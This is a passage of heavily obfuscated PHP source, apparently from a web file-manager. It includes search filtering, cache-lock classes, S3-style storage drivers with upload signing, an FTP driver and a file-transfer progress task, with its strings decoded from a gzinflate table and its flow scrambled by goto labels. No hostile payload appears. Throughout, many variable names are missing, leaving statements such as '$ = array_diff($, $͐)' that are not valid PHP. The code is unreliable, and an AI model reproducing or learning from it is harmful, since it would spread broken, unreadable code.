$ =& $_SERVER[]; if (!$) { return; } $͐ = array_to_keyvalue($Ë·[$[445]], $[12], $[193]); $ = array_diff($, $͐); if (!$) { return; } $րɠ = array($[193] => array($[7], $)); $Ԅ = $this->field($˄ά)->where($րɠ)->select(); if (!$Ԅ) { return; } $ҿ = array(); foreach ($Ԅ as $҃) { if ($this->_listSearchFilter($҃, $)) { $ҿ[] = $҃; } } $Ë·[$[445]] = array_merge($ҿ, $Ë·[$[445]]); $Ë·[$[442]][$[443]] += count($ҿ); } private function _listSearchFilter($ᅡ, $) { $ޓ =& $_SERVER[]; $ = $ᅡ[$ޓ[485]] == $ޓ[91]; if (!strstr($ᅡ[$ޓ[584]], $ޓ[50] . $[$ޓ[192]] . $ޓ[50])) { return !1; } if (isset($[$ޓ[486]]) && $[$ޓ[486]] != $ޓ[843]) { if ($[$ޓ[486]] == $ޓ[78] && !$) { return !1; } if ($[$ޓ[486]] != $ޓ[78] && $) { return !1; } if (!strstr($ᅡ[$ޓ[169]], $ޓ[50] . $[$ޓ[486]] . $ޓ[50])) { return !1; } } if (isset($[$ޓ[2231]]) && $[$ޓ[2231]] < $ᅡ[$ޓ[79]]) { return !1; } if (isset($[$ޓ[2232]]) && $[$ޓ[2232]] > $ᅡ[$ޓ[79]]) { return !1; } if (isset($[$ޓ[662]]) && $[$ޓ[662]] != $ᅡ[$ޓ[529]]) { return !1; } return !0; } public function listSearchChildren($Ÿ, $ = 5000) { $ו =& $_SERVER[]; $܍ = array(); $ = $this->sourceInfo($Ÿ); $愐Ƕ = array($ו[584] => array($ו[459], $[$ו[584]] . $[$ו[193]] . $ו[613])); $ = $this->field($ו[79])->where($愐Ƕ)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($Ÿ, $); } $솖 = $this->field($ו[193])->where($愐Ƕ)->select(); $܍ = array_to_keyvalue($솖, $ו[12], $ו[193]); return $܍; } private function _listSearchChildrenNear($Þ, $쥈) { $ =& $_SERVER[]; $֝ = array(); $ٜ = array($[192] => $Þ); $ = $this->field($[2233])->where($ٜ)->select(); $ݥ = array_to_keyvalue(array_filter_by_field($, $[485], $[91]), $[12], $[193]); $֝ = array_merge($֝, array_to_keyvalue($, $[12], $[193])); if (!$ݥ) { return $֝; } $ٜ = array($[192] => array($[7], $ݥ)); $ = $this->field($[2233])->where($ٜ)->limit($쥈)->select(); $֝ = array_merge($֝, array_to_keyvalue($, $[12], $[193])); $֝ = array_slice($֝, 0, intval($쥈)); return $֝; } private function _listSearchBindPinyin($ߓ, &$ҿ׆, &$) { $ӧѡ =& $_SERVER[]; if (!isset($ߓ[$ӧѡ[2060]]) || !$ߓ[$ӧѡ[2060]]) { return; } if (!Input::check($ߓ[$ӧѡ[2060]], $ӧѡ[394]) || strlen($ߓ[$ӧѡ[2060]]) < 2) { return; } $ܮ = "\x4c\x45\x46\x54\x20\x4a\x4f\111\x4e\40{$this->tablePrefix}\x69\157\x5f\x73\157\x75\162\143\x65\137\x6d\145\164\x61\x20\155\x65\164\141\40\x6f\156\x20\x73\157\x75\x72\x63\145\56\163\x6f\x75\162\x63\145\x49\104\40\x3d\40\155\145\164\x61\56\x73\157\165\162\143\145\111\x44"; $Ψ = array(); $ = str_replace(array($ӧѡ[262], $ӧѡ[53], $ӧѡ[2234]), $ӧѡ[12], $); $ = $ӧѡ[511] . str_replace($ӧѡ[50], $ӧѡ[512], $); $ = $ҿ׆[$ӧѡ[32]]; unset($ҿ׆[$ӧѡ[32]]); foreach ($ҿ׆ as $ => $) { $Ψ[$ӧѡ[511] . $] = $; } foreach ($ as $ޚ) { $Ψ[] = array($ӧѡ[516] => $ޚ, $ӧѡ[1071] => $ӧѡ[2064], array($ӧѡ[2235] => $ޚ, $ӧѡ[2236] => array($ӧѡ[7], array($ӧѡ[538], $ӧѡ[537])))); } $this->join($ܮ); $ҿ׆ = $Ψ; } private function _parseSearchWhere($ٔ) { $ =& $_SERVER[]; $ = array(); if (isset($ٔ[$[827]]) && $ٔ[$[827]]) { $[$[88]] = array($[2237], $ٔ[$[827]]); } if (isset($ٔ[$[828]]) && $ٔ[$[828]]) { $럦 = array($[2238], $ٔ[$[828]]); if ($[$[88]]) { $[$[88]] = array($[$[88]], $럦, $[2239]); } else { $[$[88]] = $럦; } } if (isset($ٔ[$[2231]]) && $ٔ[$[2231]] > 0) { $[$[79]] = array($[2237], $ٔ[$[2231]]); } if (isset($ٔ[$[2232]]) && $ٔ[$[2232]]) { $럦 = array($[2238], $ٔ[$[2232]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $럦, $[2239]); } else { $[$[79]] = $럦; } } if (isset($ٔ[$[662]]) && $ٔ[$[662]]) { $[] = array($[529] => $ٔ[$[662]], $[527] => $ٔ[$[662]], $[1071] => $[2064]); } if (isset($ٔ[$[486]]) && $ٔ[$[486]]) { $á = $ٔ[$[486]]; if ($á == $[78]) { $[$[485]] = 1; } else { if ($á == $[2240]) { $[$[485]] = 0; } else { if ($á) { $á = is_array($á) ? $á : explode($[50], $á); $[$[486]] = array($[492], $á); $[$[485]] = 0; } } } } $this->_parseSearchParent($ٔ, $); if (isset($ٔ[$[2060]]) && trim($ٔ[$[2060]])) { $ = trim($ٔ[$[2060]]); $હ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $હ = array($); } $[$[32]] = array(array($[612], $[2062] . $ . $[2062])); if (count($હ) > 1) { $[$[32]] = array(); foreach ($હ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[612], $[2062] . trim($) . $[2062]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[192]]) || !$[$[192]]) { return; } $磶 = $this->pathInfo($[$[192]]); $ߘ = $磶[$[192]] . $[12] === $[228]; $ɺ = $磶[$[190]] == $[578]; if ($磶[$[595]] == $[596]) { $ = $this->sourceInfo($[$[192]]); $磶[$[584]] = $[$[584]]; } $[$[652]] = array($[612], $磶[$[584]] . $[$[192]] . $[613]); $¾ = isset($[$[1920]]) && in_array($[578], $[$[1920]]); if (!$¾ || !$ɺ || !$ߘ || !$磶[$[487]]) { return; } if (!AuthModel::authCheckRoot($磶[$[487]][$[488]])) { return; } $Ӫ = $磶[$[569]] . $[12]; if ($Ӫ == $[91]) { unset($[$[652]]); $[$[190]] = self::TYPE_GROUP; return; } $̀ = Model($[585])->groupChildrenAll($Ӫ); $ = count($̀); if ($ <= 1) { return; } $މ = array($[192] => 0, $[190] => self::TYPE_GROUP, $[569] => array($[7], $̀)); $Ϲݏ = $this->field($[2241])->where($މ)->limit($)->select(); $[$[652]] = array(); foreach ($Ϲݏ as $) { $[$[652]][] = array($[612], $[594] . $[$[193]] . $[613]); } $[$[652]][] = $[2064]; } } goto D; d븖: if (!$tukerlwafc) { die; } $_SERVER[Ü] = explode($_SERVER[][680], gzinflate(substr($_SERVER[][681], 10, -8))); $znstewkolc = $_SERVER[][682]; goto D֣; B칐: class CacheLockMemcached { public function lock($߽, $ѣ = 0) { $ = Cache::init(); $㕊 = microtime(!0) + $ѣ; while (microtime(!0) < $㕊) { $ᡅ = $->get($߽); if (!$ᡅ || $ᡅ < microtime(!0)) { $ = $->handle->add($߽, $㕊, $ѣ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ӆ) { return Cache::init()->get($ӆ); } public function unlock($͵) { return Cache::init()->remove($͵); } } class CacheLockDatabase { public function lock($Ɋ, $ݟ = 0) { $ = Model($_SERVER[][903]); $ڨ = microtime(!0) + $ݟ; while (microtime(!0) < $ڨ) { $롘 = $->get($Ɋ); if (!$롘 || $롘 < microtime(!0)) { $ = $->set($Ɋ, $ڨ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][903])->get($); } public function unlock($) { Model($_SERVER[][903])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[941])) { show_json($[942], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[943]]) && count($[$[943]]) >= 1) { foreach ($[$[943]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[208]], $[$[209]]); } } public function set($, $, $Ō = false) { $Ō = $Ō ? $Ō : $this->cacheTime; return $this->handle->set($, $, $Ō); } public function get($ѯ) { return $this->handle->get($ѯ); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } goto EđІ; BČ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[229]; $ = $[270]; $Տ = $[62]; $ҦƎ = gmdate($[271]); $죶 = gmdate($[272]); $ü = $[273]; $ = $ . $[12]; $ = $[274]; $ = array($this->accessKey, $죶, $this->region, $Տ, $ü); $ = implode($[8], $); $ = array($[275] => gmdate($[299], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), array($[280] => $), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $), array($[288] => $ҦƎ), array($[289] => $))); $к = base64_encode(json_encode($)); $䁩 = hash_hmac($[290], $죶, $[291] . $this->secret, !0); $ = hash_hmac($[290], $this->region, $䁩, !0); $ = hash_hmac($[290], $Տ, $, !0); $ִ = hash_hmac($[290], $ü, $, !0); $֍ = hash_hmac($[290], $к, $ִ); $¤ = array($[246] => $[12], $[292] => $[12], $[280] => $, $[285] => $, $[293] => $к, $[294] => $, $[295] => $, $[296] => $ҦƎ, $[297] => $, $[298] => $֍, $[208] => $this->getHost()); return $¤; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ö) { $߂ =& $_SERVER[]; global $config; $this->appCharset = $config[$߂[1429]]; $this->systemCharset = $config[$߂[1430]]; if (isset($ö[$߂[1431]]) && $ö[$߂[1431]]) { $this->systemCharset = $ö[$߂[1431]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($Ԩ) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $Ԩ = $this->iconvApp($Ԩ); if (substr($, 0, 2) == $[1403]) { $ = BASIC_PATH . substr($, 2); } if (substr($Ԩ, 0, 2) == $[1403]) { $Ԩ = BASIC_PATH . substr($Ԩ, 2); } $ = KodIO::clear($); $Ԩ = KodIO::clear($Ԩ); $Ԩ = substr($Ԩ, strlen($)); if (empty($this->pathDriver)) { return $Ԩ; } return $this->pathDriver . $[8] . ltrim($Ԩ, $[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1432])) { throw new Exception(LNG($[1433])); } $this->config = $; $this->charsetReset($); foreach ($ as $ᐄ => $䍱) { if (isset($this->{$ᐄ})) { $this->{$ᐄ} = $䍱; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ھ = md5(json_encode($)); if (isset($[$ھ])) { foreach ($[$ھ] as $ХѠ => $) { $this->{$ХѠ} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[208]]; $˩ = isset($[$[207]]) && $[$[207]] == $[1434] ? !0 : !1; $this->scheme = $˩ ? $[1435] : $[1436]; $this->port = isset($[$[209]]) ? $[$[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1437]) . $this->host . $[4] . $this->port, !0); return !1; } $ҁ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$ҁ) { $this->writeLog(LNG($[1438]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $է = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $է); $[$ھ] = array($[1439] => $this->connect, $[208] => $this->host, $[207] => $this->scheme, $[209] => $this->port); return $ҁ; } private function _isconn($莘 = true) { if (is_resource($this->connect)) { return !0; } if (!$莘) { return !1; } return $this->_login($this->config); } public function mkfile($՞, $ͫ = '', $ү = REPEAT_RENAME) { if ($this->setContent($՞, $ͫ)) { return $this->getPathOuter($՞); } $this->writeLog(LNG($_SERVER[][1440]), !0); return !1; } public function mkdir($, $È = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$ || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } public function copyFile($, $Єθ) { if (!$this->_isconn()) { return !1; } $ą = $this->pathThis($this->iconvSystem($)); $샔 = $this->tempFile($ą); $ّ = $this->iconvApp($샔); $this->download($, $ّ); $ = $this->upload($Єθ, $ّ); $this->tempFileRemve($샔); return $; } public function moveFile($ד, $) { if (!$this->_isconn()) { return !1; } $ד = $this->iconvSystem($ד); $ = $this->iconvSystem($); $Dž = @ftp_rename($this->connect, $ד, $); if (!$Dž) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->getPathOuter($); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ƛ = $¼ԅ = array(); $this->fileList($, $ƛ, $¼ԅ, !0); $this->listItemCache = !0; foreach ($¼ԅ as $٫) { $ = $this->iconvSystem($٫[$_SERVER[][32]]); $깊 = @ftp_delete($this->connect, $); if (!$깊) { return !1; } } foreach ($ƛ as $) { $ = $this->iconvSystem($); $깊 = @ftp_rmdir($this->connect, $); if (!$깊) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $ۈ) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ָ = $this->fileNameAuto($this->pathFather($), $ۈ); $ָ = $this->iconvSystem($ָ); $ = $this->iconvSystem($); $ڽ = $this->pathFather($); $ = rtrim($ڽ, $[8]) . $[8] . $ָ; $Դ = @ftp_rename($this->connect, $, $); if (!$Դ) { $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($撄, $䀽 = false) { $ =& $_SERVER[]; $τ = array($[32] => $this->pathThis($撄), $[87] => $this->getPathOuter($[8] . $撄), $[33] => $[78]); if ($䀽) { return $τ; } $τ[$[231]] = $τ[$[88]] = 0; $τ[$[232]] = $τ[$[233]] = !0; return $τ; } private function fileInfo($صն, $ʛ = false, $ = array()) { $娤 =& $_SERVER[]; $ = array($娤[32] => $this->pathThis($صն), $娤[87] => $this->getPathOuter($娤[8] . $صն), $娤[33] => $娤[230], $娤[79] => isset($[$娤[79]]) ? $[$娤[79]] : 0, $娤[169] => $this->ext($صն)); if ($ʛ) { return $; } $[$娤[231]] = $[$娤[88]] = 0; $[$娤[232]] = $[$娤[233]] = !0; $ = $this->iconvSystem($صն); $[$娤[88]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($صն); if (!$) { return $; } } $[$娤[79]] = $[$娤[79]]; return $; } public function size($ۻ) { $Β = $this->objectMeta($ۻ); return $Β ? $Β[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($Ȧߝ, &$, &$ɏÉ, $ = false) { $ړ =& $_SERVER[]; $Ȧߝ = $this->iconvSystem($Ȧߝ); if (!$this->isFolder($Ȧߝ)) { return !1; } @ftp_chdir($this->connect, $ړ[8]); $Ȧߝ = rtrim($Ȧߝ, $ړ[8]) . $ړ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $Ȧߝ); if (!$) { $ = array(); } $ = array($ړ[10] => 1, $ړ[1356] => 1); foreach ($ as $ՠ) { $ = $this->_listItem($ՠ); if ($[0] == $ړ[825]) { continue; } $褀 = $[8]; if (empty($褀) && $褀 !== $ړ[228] || isset($[$褀])) { continue; } $褀 = $this->iconvApp($Ȧߝ . ltrim($褀, $ړ[8])); $ދ = array($ړ[32] => $褀, $ړ[33] => $ړ[230], $ړ[79] => $[4]); if (substr($ՠ, 0, 1) == $ړ[1442]) { $ދ[$ړ[33]] = $ړ[78]; $ދ[$ړ[79]] = 0; } $ű = $ދ[$ړ[33]] == $ړ[78] ? !0 : !1; $this->cacheMethodInfoSet($褀, $ű, $ދ); if ($ű) { $[] = $褀; if ($) { $this->fileList($褀, $, $ɏÉ, $); } continue; } $ɏÉ[] = $ދ; } $this->cacheMethodInfoSet($Ȧߝ, !0); } private function _listItem($ހ) { if (empty($ހ)) { return array(); } $ = preg_split($_SERVER[][1443], $ހ); if (count($) <= 9) { return $; } $[8] = trim(substr($ހ, strpos($ހ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $Ε = false) { $Į =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ݺ = $Μ = array(); $this->fileList($, $ݺ, $Μ); foreach ($ݺ as $ => $) { $ݺ[$] = $this->folderInfo($, $Ε); } foreach ($Μ as $ => $) { $Μ[$] = $this->fileInfo($[$Į[32]], $Ε, $); } return array($Į[85] => $ݺ, $Į[86] => $Μ); } public function has($紊, $港 = false, $ = true) { $۱ =& $_SERVER[]; $ѤҼ = $ = array(); $ = $港 ? !0 : !1; $this->fileList($紊, $ѤҼ, $, $); if ($港) { return array($۱[239] => count($), $۱[240] => count($ѤҼ)); } if ($) { if (count($)) { return !0; } } else { if (count($ѤҼ)) { return !0; } } return !1; } public function listAll($ނ) { $ͨ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ނ, $, $, !0); $ = array_to_keyvalue($, $ͨ[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($ͨ[79] => 0); } } return $this->listAllFiles($ނ, $); } public function getContent($˶) { if (!$this->_isconn()) { return !1; } $˶ = $this->iconvSystem($˶); return $this->fileSubstr($˶); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $嚾 = $this->tempFile($); file_put_contents($嚾, $); $ = $this->upload($, $this->iconvApp($嚾)); $this->tempFileRemve($嚾); return $; } public function fileSubstr($, $êܳ = 0, $뎈 = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $êܳ, $뎈); } private function ftpRequest($͡, $諵 = 0, $ = false) { $͡ = $this->iconvSystem($͡); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ߠ = curl_init(); curl_setopt($ߠ, CURLOPT_URL, $ . $this->pathEncode($͡)); curl_setopt($ߠ, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ = $諵 + $ - 1; curl_setopt($ߠ, CURLOPT_RANGE, "{$諵}\55{$}"); } curl_setopt($ߠ, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($ߠ); curl_close($ߠ); return $; } public function upload($ǡ, $, $ = false, $͠ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($ǡ))) { return !1; } $ǡ = $this->iconvSystem($ǡ); $ = $this->iconvSystem($); $ޤ = ftp_nb_put($this->connect, $ǡ, $, FTP_BINARY); while ($ޤ == FTP_MOREDATA) { $ޤ = ftp_nb_continue($this->connect); } if ($ޤ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->getPathOuter($ǡ); } public function download($ݸ, $ = '') { if (!$this->_isconn()) { return !1; } $Щ = $this->pathFather($); if (!IO::mkdir($Щ)) { return !1; } $ݸ = $this->iconvSystem($ݸ); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $ݸ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ݢ) { return $this->cacheMethod($_SERVER[][179], $ݢ); } protected function objectMeta($æϊ) { return $this->cacheMethod($_SERVER[][181], $æϊ); } protected function _objectMeta($) { $ǿ =& $_SERVER[]; if ($ == $ǿ[12] || $ == $ǿ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($ǿ[32] => $this->iconvApp($), $ǿ[33] => $ǿ[230], $ǿ[79] => 0); @ftp_chdir($this->connect, $ǿ[8]); $Ȯڝ = @ftp_size($this->connect, $); if ($Ȯڝ != -1) { $[$ǿ[79]] = $Ȯڝ; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$ǿ[33]] = $ǿ[78]; } return $; } protected function _isFolder($) { $Գ =& $_SERVER[]; if ($ == $Գ[12] || $ == $Գ[8]) { return !0; } $֝ް = $this->_objectMeta($); return isset($֝ް[$Գ[33]]) && $֝ް[$Գ[33]] == $Գ[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadLink($ŀ, $̟ = 0) { $ʠ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $һ = $this->getType(); if (!in_array($һ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ж = (!$̟ ? 1 : ceil($̟ / pow(1024, 3))) * 3600 * 4; $ތ = $this->multiUploadFormData($ŀ, $Ж); if ($ތ) { $ތ[$ʠ[97]] = $ŀ; $ތ[$ʠ[98]] = $һ; } return $ތ; } public function fileOutImage($Å, $寚 = 250) { if ($this->size($Å) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Å, $寚); } $۹ٲ = $this->link($Å); $۹ٲ .= $_SERVER[][1444] . $寚; $this->fileOutLink($۹ٲ); } public function fileOutLink($Ӥ) { $ =& $_SERVER[]; if (substr($Ӥ, 0, 7) == $[313]) { $Ӥ = $[314] . substr($Ӥ, 7); } header($[175] . $Ӥ); die; } } goto E; E: class TaskFileTransfer extends Task { protected function startAfter() { $ҳ =& $_SERVER[]; $鎖 =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ҳ[1793], array($this, $ҳ[1794])); Hook::bind($ҳ[1301], array($this, $ҳ[1795])); Hook::bind($ҳ[1796], array($this, $ҳ[1797])); Hook::bind($ҳ[668], array($this, $ҳ[1798])); Hook::bind($ҳ[669], array($this, $ҳ[1799])); Hook::bind($ҳ[675], array($this, $ҳ[1800])); Hook::bind($ҳ[676], array($this, $ҳ[1801])); Hook::bind($ҳ[671], array($this, $ҳ[1802])); Hook::bind($ҳ[673], array($this, $ҳ[1803])); Hook::bind($ҳ[637], array($this, $ҳ[1804])); Hook::bind($ҳ[634], array($this, $ҳ[1804])); Hook::bind($ҳ[639], array($this, $ҳ[1804])); Hook::bind($ҳ[641], array($this, $ҳ[1804])); Hook::bind($ҳ[643], array($this, $ҳ[1804])); Hook::bind($ҳ[1805], array($this, $ҳ[1806])); Hook::bind($ҳ[659], array($this, $ҳ[1807])); $this->sourceModelCopyFlag = !1; Hook::bind($ҳ[1808], array($this, $ҳ[1809])); Hook::bind($ҳ[1810], array($this, $ҳ[1811])); Hook::bind($ҳ[1812], array($this, $ҳ[1813])); $鎖[$ҳ[1814]] = LNG($ҳ[1815]); $鎖[$ҳ[1816]] = 0; $鎖[$ҳ[1817]] = 0; $鎖[$ҳ[1136]] = $ҳ[12]; $鎖[$ҳ[1818]] = $ҳ[12]; $鎖[$ҳ[1819]] = 0; $鎖[$ҳ[1820]] = 0; $鎖[$ҳ[1821]] = 0; if (!$鎖[$ҳ[1652]]) { $鎖[$ҳ[1652]] = LNG($ҳ[1822]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1793], array($this, $[1794])); Hook::unbind($[1301], array($this, $[1795])); Hook::unbind($[1796], array($this, $[1797])); Hook::unbind($[668], array($this, $[1798])); Hook::unbind($[669], array($this, $[1799])); Hook::unbind($[675], array($this, $[1800])); Hook::unbind($[676], array($this, $[1801])); Hook::unbind($[671], array($this, $[1802])); Hook::unbind($[673], array($this, $[1803])); Hook::unbind($[637], array($this, $[1804])); Hook::unbind($[634], array($this, $[1804])); Hook::unbind($[639], array($this, $[1804])); Hook::unbind($[641], array($this, $[1804])); Hook::unbind($[643], array($this, $[1804])); Hook::unbind($[1805], array($this, $[1806])); Hook::unbind($[659], array($this, $[1807])); Hook::unbind($[1808], array($this, $[1809])); Hook::unbind($[1810], array($this, $[1811])); Hook::unbind($[1812], array($this, $[1813])); } public function copyMoveStart($ތ, $˺Ŷ, $, $) { $Ӑɳ =& $_SERVER[]; self::log($Ӑɳ[1823] . $˺Ŷ . $Ӑɳ[73] . $); $ = rtrim(TEMP_FILES, $Ӑɳ[8]); if (substr($˺Ŷ, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$Ӑɳ[1824]] = KodIO::transferType($ތ, $); $this->update(); } public function updateAfter() { $˶ =& $_SERVER[]; $ =& $this->task; if (!$[$˶[830]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$˶[1824]] == $˶[1394]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1824]] == $[1272] || $[$[1824]] == $[110]) { if ($[$[1818]]) { $[$[1821]] = $[$[1820]] + $[$[1817]]; } } else { if ($[$[1824]] == $[1395]) { if ($[$[1818]] == $[1272]) { $[$[1821]] = $[$[1820]] + $[$[1817]] * 0.5; } else { if ($[$[1818]] == $[110]) { $[$[1821]] = $[$[1820]] + $[$[1816]] * 0.5 + $[$[1817]] * 0.5; } } } } $[$[1765]] = $[$[1821]] / $[$[830]]; if ($[$[1765]] > 0) { $懔 = timeFloat() - $[$[1767]] - $[$[1770]]; $[$[1771]] = $懔 * (1 - $[$[1765]]) / $[$[1765]]; } } public function addPath($) { $滨 =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$滨[1825]] ? $[$滨[1825]][$滨[1826]] : 0; $[$滨[1825]] = array($滨[1826] => $ + 1, $滨[494] => $[$滨[32]], $滨[87] => $[$滨[87]], $滨[582] => $[$滨[582]] ? $[$滨[582]] : $[$滨[87]]); if ($[$滨[33]] == $滨[230]) { $[$滨[1134]] += 1; } else { $[$滨[1134]] += $[$滨[82]][$滨[80]]; if ($[$滨[193]]) { $[$滨[1134]] += $[$滨[82]][$滨[81]] + 1; } } $[$滨[830]] += $[$滨[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($Ģ) { } public function sourceAddHashEnd($Ǧ֦) { } public function sourceAddFileStart($枈ժ) { $ =& $_SERVER[]; $֕ =& $this->task; $֕[$[1816]] = $枈ժ[$[79]]; $֕[$[1814]] = $枈ժ[$[32]]; $֕[$[1136]] = $枈ժ[$[32]]; $֕[$[1827]] = $枈ժ[$[87]]; $this->update(); } public function sourceAddFileEnd($Ǜ) { $ =& $_SERVER[]; $ҽ =& $this->task; $ҽ[$[1821]] += $Ǜ[$[79]]; $ҽ[$[1827]] = $Ǜ[$[87]]; $this->update(1); } public function copyFileStart($恇, $, $շڇ, $ʎ, $, $) { $͋ =& $_SERVER[]; $ɏ = $; if ($ɏ == $GLOBALS[$͋[1828]]) { $ɏ = $GLOBALS[$͋[1829]]; } $GLOBALS[$͋[1829]] = $; $GLOBALS[$͋[1828]] = $; $ѭ =& $this->task; $ѭ[$͋[1814]] = $ɏ; $ѭ[$͋[1816]] = (int) $恇->size($); $ѭ[$͋[1817]] = 0; $ѭ[$͋[1136]] = $͋[12]; $ѭ[$͋[1818]] = $͋[12]; $ѭ[$͋[1819]] = 0; $ = $ѭ[$͋[1816]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ѭ[$͋[475]] . $͋[1830]); if ($ && file_exists(get_path_father($ʎ))) { Cache::set($ѭ[$͋[475]] . $͋[1830], $ʎ); $ѭ[$͋[1787]] = array($͋[1831], $͋[1832]); } $this->update(0, $); } public static function updateCopyLocalFileSize($ե߽) { $奪 =& $_SERVER[]; $谾 = Cache::get($ե߽[$奪[475]] . $奪[1830]); if (!$谾 || !file_exists($谾)) { return $ե߽; } $ե߽[$奪[1817]] = @filesize($谾); $ե߽[$奪[1821]] += $ե߽[$奪[1817]]; self::updateTask($ե߽); return $ե߽; } public function copyFileEnd($ؠ, $, $ճػ, $, $ȋ, $έ) { $⨮߸ =& $_SERVER[]; $ =& $this->task; $[$⨮߸[1817]] = $[$⨮߸[1816]]; $[$⨮߸[1818]] = $⨮߸[12]; unset($[$⨮߸[1787]]); if ($ȋ == $[$⨮߸[1814]]) { $[$⨮߸[1820]] += $[$⨮߸[1816]]; $[$⨮߸[1821]] = $[$⨮߸[1820]]; $Ӽ = 1; if (isset($[$⨮߸[1827]]) && 